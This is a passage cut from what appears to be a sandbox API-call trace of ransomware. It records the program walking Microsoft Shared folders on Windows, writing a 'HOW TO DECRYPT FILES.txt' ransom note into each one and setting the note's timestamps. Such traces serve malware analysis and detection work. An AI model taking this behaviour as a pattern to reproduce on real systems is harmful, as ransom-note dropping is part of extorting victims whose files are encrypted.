ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x61073d10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x61073d10, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4f8190 [0058.026] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0058.026] FindNextFileA (in: hFindFile=0x4f8190, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee282250, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x61073d10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x61073d10, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0058.026] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0058.026] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0058.026] FindNextFileA (in: hFindFile=0x4f8190, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe777f900, ftCreationTime.dwHighDateTime=0x1c8bc89, ftLastAccessTime.dwLowDateTime=0x60d54030, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe777f900, ftLastWriteTime.dwHighDateTime=0x1c8bc89, nFileSizeHigh=0x0, nFileSizeLow=0x133200, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="hxds.dll", cAlternateFileName="")) returned 1 [0058.026] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0058.026] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="hxds.dll") returned -1 [0058.026] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="hxds.dll") returned -1 [0058.026] lstrcmpiA (lpString1="", lpString2="hxds.dll") returned -1 [0058.026] PathFindFileNameA (pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\*.*") returned="*.*" [0058.026] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\" [0058.026] PathAddBackslashA (in: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\" | out: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\") returned="" [0058.026] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\HOW TO DECRYPT FILES.txt" [0058.026] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\help\\how to decrypt files.txt")) returned 0xffffffff [0058.026] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\help\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x8c [0058.031] SetFileTime (hFile=0x8c, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0058.031] CloseHandle (hObject=0x8c) returned 1 [0058.032] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\", lpString2="hxds.dll" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\hxds.dll") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\hxds.dll" [0058.032] FindNextFileA (in: hFindFile=0x4f8190, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe3e47200, ftCreationTime.dwHighDateTime=0x1c8bc89, ftLastAccessTime.dwLowDateTime=0x522dc930, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe3e47200, ftLastWriteTime.dwHighDateTime=0x1c8bc89, nFileSizeHigh=0x0, nFileSizeLow=0x1bf200, dwReserved0=0x0, dwReserved1=0x4f84a0, cFileName="ITIRCL55.DLL", cAlternateFileName="")) returned 1 [0058.032] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0058.032] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="ITIRCL55.DLL") returned -1 [0058.032] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="ITIRCL55.DLL") returned -1 [0058.032] lstrcmpiA (lpString1="", lpString2="ITIRCL55.DLL") returned -1 [0058.032] PathFindFileNameA (pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\hxds.dll") returned="hxds.dll" [0058.032] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\" [0058.032] PathAddBackslashA (in: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\" | out: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\") returned="" [0058.032] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\HOW TO DECRYPT FILES.txt" [0058.032] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\help\\how to decrypt files.txt")) returned 0x20 [0058.032] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\", lpString2="ITIRCL55.DLL" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\ITIRCL55.DLL") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\ITIRCL55.DLL" [0058.032] FindNextFileA (in: hFindFile=0x4f8190, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe777f900, ftCreationTime.dwHighDateTime=0x1c8bc89, ftLastAccessTime.dwLowDateTime=0x616b36d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe777f900, ftLastWriteTime.dwHighDateTime=0x1c8bc89, nFileSizeHigh=0x0, nFileSizeLow=0x69000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msitss55.dll", cAlternateFileName="")) returned 1 [0058.032] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0058.032] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="msitss55.dll") returned -1 [0058.032] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="msitss55.dll") returned -1 [0058.032] lstrcmpiA (lpString1="", lpString2="msitss55.dll") returned -1 [0058.032] PathFindFileNameA (pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\ITIRCL55.DLL") returned="ITIRCL55.DLL" [0058.033] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\" [0058.033] PathAddBackslashA (in: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\" | out: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\") returned="" [0058.033] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\HOW TO DECRYPT FILES.txt" [0058.033] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\help\\how to decrypt files.txt")) returned 0x20 [0058.033] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\", lpString2="msitss55.dll" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\msitss55.dll") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\msitss55.dll" [0058.033] FindNextFileA (in: hFindFile=0x4f8190, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe777f900, ftCreationTime.dwHighDateTime=0x1c8bc89, ftLastAccessTime.dwLowDateTime=0x616b36d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe777f900, ftLastWriteTime.dwHighDateTime=0x1c8bc89, nFileSizeHigh=0x0, nFileSizeLow=0x69000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msitss55.dll", cAlternateFileName="")) returned 0 [0058.033] FindClose (in: hFindFile=0x4f8190 | out: hFindFile=0x4f8190) returned 1 [0058.033] FindNextFileA (in: hFindFile=0x4f7080, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x9e0df36a, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9e0df36a, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x3, cFileName="ink", cAlternateFileName="")) returned 1 [0058.033] lstrcmpA (lpString1=".", lpString2="ink") returned -1 [0058.033] lstrcmpA (lpString1="..", lpString2="ink") returned -1 [0058.033] PathFindFileNameA (pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\*.*") returned="*.*" [0058.033] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\", lpString2="ink" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\ink" [0058.033] FindFirstFileA (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x9e0df36a, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9e0df36a, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4f8190 [0058.034] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0058.034] FindNextFileA (in: hFindFile=0x4f8190, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x9e0df36a, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9e0df36a, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0058.034] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0058.034] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0058.034] FindNextFileA (in: hFindFile=0x4f8190, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6c2bbccc, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x6c2bbccc, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x90daefa5, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc1486, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="Alphabet.xml", cAlternateFileName="")) returned 1 [0058.034] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0058.034] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Alphabet.xml") returned 1 [0058.034] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Alphabet.xml") returned 1 [0058.034] lstrcmpiA (lpString1="", lpString2="Alphabet.xml") returned -1 [0058.034] PathFindFileNameA (pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\*.*") returned="*.*" [0058.034] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\" [0058.034] PathAddBackslashA (in: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\" | out: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\") returned="" [0058.034] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\HOW TO DECRYPT FILES.txt" [0058.034] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\how to decrypt files.txt")) returned 0xffffffff [0058.034] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x8c [0058.036] SetFileTime (hFile=0x8c, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0058.036] CloseHandle (hObject=0x8c) returned 1 [0058.036] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\", lpString2="Alphabet.xml" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml" [0058.037] FindNextFileA (in: hFindFile=0x4f8190, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7545b2, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7545b2, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x4f8498, cFileName="ar-SA", cAlternateFileName="")) returned 1 [0058.037] lstrcmpA (lpString1=".", lpString2="ar-SA") returned -1 [0058.037] lstrcmpA (lpString1="..", lpString2="ar-SA") returned -1 [0058.037] PathFindFileNameA (pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml") returned="Alphabet.xml" [0058.037] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\", lpString2="ar-SA" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ar-SA") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ar-SA" [0058.037] FindFirstFileA (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ar-SA\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7545b2, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7545b2, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x4f8266, cFileName=".", cAlternateFileName="")) returned 0x4f8118 [0058.038] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0058.038] FindNextFileA (in: hFindFile=0x4f8118, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7545b2, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7545b2, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x4f0000, cFileName="..", cAlternateFileName="")) returned 1 [0058.038] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0058.038] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0058.038] FindNextFileA (in: hFindFile=0x4f8118, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe846a08f, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe86330eb, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe8659248, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0058.038] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0058.038] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="tipresx.dll.mui") returned -1 [0058.039] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="tipresx.dll.mui") returned -1 [0058.039] lstrcmpiA (lpString1="", lpString2="tipresx.dll.mui") returned -1 [0058.039] PathFindFileNameA (pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ar-SA\\*.*") returned="*.*" [0058.039] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ar-SA\\" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ar-SA\\") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ar-SA\\" [0058.039] PathAddBackslashA (in: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ar-SA\\" | out: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ar-SA\\") returned="" [0058.039] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ar-SA\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ar-SA\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ar-SA\\HOW TO DECRYPT FILES.txt" [0058.039] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ar-SA\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ar-sa\\how to decrypt files.txt")) returned 0xffffffff [0058.039] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ar-SA\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ar-sa\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0058.042] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0058.042] CloseHandle (hObject=0x90) returned 1 [0058.042] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ar-SA\\", lpString2="tipresx.dll.mui" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ar-SA\\tipresx.dll.mui") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ar-SA\\tipresx.dll.mui" [0058.042] FindNextFileA (in: hFindFile=0x4f8118, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe846a08f, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe86330eb, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe8659248, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0058.042] FindClose (in: hFindFile=0x4f8118 | out: hFindFile=0x4f8118) returned 1 [0058.042] FindNextFileA (in: hFindFile=0x4f8190, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7545b2, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7545b2, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x3, cFileName="bg-BG", cAlternateFileName="")) returned 1 [0058.042] lstrcmpA (lpString1=".", lpString2="bg-BG") returned -1 [0058.042] lstrcmpA (lpString1="..", lpString2="bg-BG") returned -1 [0058.042] PathFindFileNameA (pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\*.*") returned="*.*" [0058.042] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\", lpString2="bg-BG" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\bg-BG") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\bg-BG" [0058.043] FindFirstFileA (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\bg-BG\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7545b2, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7545b2, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x4f84a8, cFileName=".", cAlternateFileName="")) returned 0x4f8118 [0058.043] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0058.043] FindNextFileA (in: hFindFile=0x4f8118, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7545b2, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7545b2, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x4f0000, cFileName="..", cAlternateFileName="")) returned 1 [0058.043] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0058.043] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0058.043] FindNextFileA (in: hFindFile=0x4f8118, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea1207ac, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xea335ac2, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xea35bc1f, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0058.043] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0058.043] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="tipresx.dll.mui") returned -1 [0058.043] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="tipresx.dll.mui") returned -1 [0058.043] lstrcmpiA (lpString1="", lpString2="tipresx.dll.mui") returned -1 [0058.043] PathFindFileNameA (pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\bg-BG\\*.*") returned="*.*" [0058.043] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\bg-BG\\" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\bg-BG\\") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\bg-BG\\" [0058.043] PathAddBackslashA (in: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\bg-BG\\" | out: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\bg-BG\\") returned="" [0058.043] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\bg-BG\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\bg-BG\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\bg-BG\\HOW TO DECRYPT FILES.txt" [0058.044] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\bg-BG\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\bg-bg\\how to decrypt files.txt")) returned 0xffffffff [0058.044] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\bg-BG\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\bg-bg\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0058.045] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0058.045] CloseHandle (hObject=0x90) returned 1 [0058.046] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\bg-BG\\", lpString2="tipresx.dll.mui" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\bg-BG\\tipresx.dll.mui") returned="C:\\Program Files\\Common Files\\Microsoft 